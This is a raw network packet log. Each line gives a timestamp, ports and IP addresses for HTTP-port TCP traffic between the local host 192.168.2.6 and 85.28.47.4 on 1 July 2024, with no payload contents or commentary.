Jul 1, 2024 07:20:45.308223963 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.308255911 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.308509111 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.308526993 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.308538914 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.308547020 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.308551073 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.308563948 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.308571100 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.308578014 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.308589935 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.308600903 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.308612108 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.308640003 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.308660984 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.308876991 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.308890104 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.308901072 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.308917999 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.308926105 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.308938026 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.308938026 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.308949947 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.308960915 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.308960915 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.308979034 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.308988094 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.308991909 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.309011936 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.309036016 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.309207916 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.309220076 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.309231043 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.309246063 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.309251070 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.309263945 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.309266090 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.309276104 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.309292078 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.309293985 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.309319019 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.309340954 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.309515953 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.309526920 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.309537888 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.309549093 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.309560061 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.309567928 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.309567928 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.309577942 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.309581995 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.309592009 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.309595108 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.309602976 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.309614897 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.309623957 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.309626102 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.309638023 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.309640884 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.309649944 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.309659958 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.309660912 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.309674978 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.309685946 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.309685946 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.309696913 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.309709072 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.309716940 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.309720993 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.309737921 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.309757948 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.310192108 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.310204029 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.310216904 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.310229063 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.310234070 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.310241938 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.310252905 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.310254097 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.310269117 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.310282946 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.310291052 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.310314894 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.310369015 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.310379028 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.310395956 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.310408115 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.310410023 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.310425043 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.310434103 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.310524940 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.310538054 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.310548067 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.310559034 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.310564995 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.310586929 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.310599089 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.310611963 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.310611963 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.310626984 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.310636044 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.310640097 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.310657024 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.310663939 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.310663939 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.310666084 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.310667992 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.310684919 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.310704947 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.400084019 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.400101900 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.400119066 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.400130033 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.400141954 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.400154114 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.400167942 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.400180101 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.400198936 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.400244951 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.400311947 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.400325060 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.400336981 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.400347948 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.400352001 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.400362015 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.400396109 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.400396109 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.400425911 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.400439024 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.400451899 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.400461912 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.400464058 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.400477886 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.400495052 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.400530100 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.400558949 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.400573015 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.400584936 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.400585890 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.400593996 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.400597095 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.400609970 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.400620937 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.400621891 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.400634050 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.400648117 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.400665045 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.400773048 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.400784969 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.400799036 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.400810003 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.400811911 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.400823116 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.400839090 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.400862932 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.401046038 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.401058912 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.401071072 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.401082039 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.401086092 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.401093960 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.401106119 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.401107073 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.401120901 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.401133060 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.401133060 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.401144981 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.401156902 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.401165009 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.401169062 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.401181936 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.401189089 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.401196003 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.401212931 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.401232004 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.401472092 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.401484966 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.401496887 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.401509047 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.401516914 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.401520967 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.401526928 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.401551962 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.401762962 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.401776075 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.401787996 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.401799917 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.401812077 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.401817083 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.401830912 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.401839018 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.401843071 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.401855946 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.401861906 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.401880026 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.401901960 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.402030945 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.402070045 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.402209044 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.402223110 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.402234077 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.402245045 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.402256012 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.402259111 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.402267933 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.402280092 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.402283907 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.402292967 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.402304888 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.402304888 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.402313948 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.402322054 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.402333975 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.402343035 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.402348042 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.402360916 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.402373075 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.402374983 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.402384043 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.402409077 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.402440071 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.402479887 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.402529955 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.402539968 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.402566910 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.402568102 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.402580023 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.402580023 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.402595043 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.402606010 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.402606964 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.402616024 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.402632952 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.402648926 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.402740955 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.402754068 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.402765036 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.402776003 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.402777910 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.402791023 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.402801991 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.402810097 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.402822971 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.402834892 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.402836084 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.402848959 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.402861118 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.402877092 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.402889967 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.403029919 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.403042078 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.403053999 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.403065920 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.403076887 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.403079987 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.403079987 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.403089046 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.403090000 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.403112888 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.403115034 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.403126955 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.403139114 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.403140068 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.403153896 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.403165102 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.403167009 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.403181076 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.403192043 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.403211117 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.403230906 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.403534889 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.403548002 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.403559923 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.403570890 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.403575897 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.403584003 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.403595924 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.403597116 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.403609991 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.403620958 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.403621912 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.403636932 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.403641939 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.403654099 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.403664112 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.403690100 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.403870106 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.403882980 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.403894901 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.403906107 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.403908968 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.403918982 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.403929949 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.403935909 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.403964043 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.493012905 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.493031025 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.493042946 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.493212938 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.493217945 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.493231058 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.493242979 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.493256092 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.493256092 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.493271112 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.493282080 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.493287086 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.493294954 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.493305922 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.493309021 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.493328094 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.493329048 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.493345976 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.493352890 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.493360043 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.493371964 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.493375063 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.493395090 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.493415117 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.493457079 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.493469954 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.493480921 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.493494034 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.493504047 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.493526936 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.493531942 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.493545055 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.493556976 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.493566990 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.493580103 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.493592978 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.493618965 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.493689060 CEST	80	49711	85.28.47.4	192.168.2.6
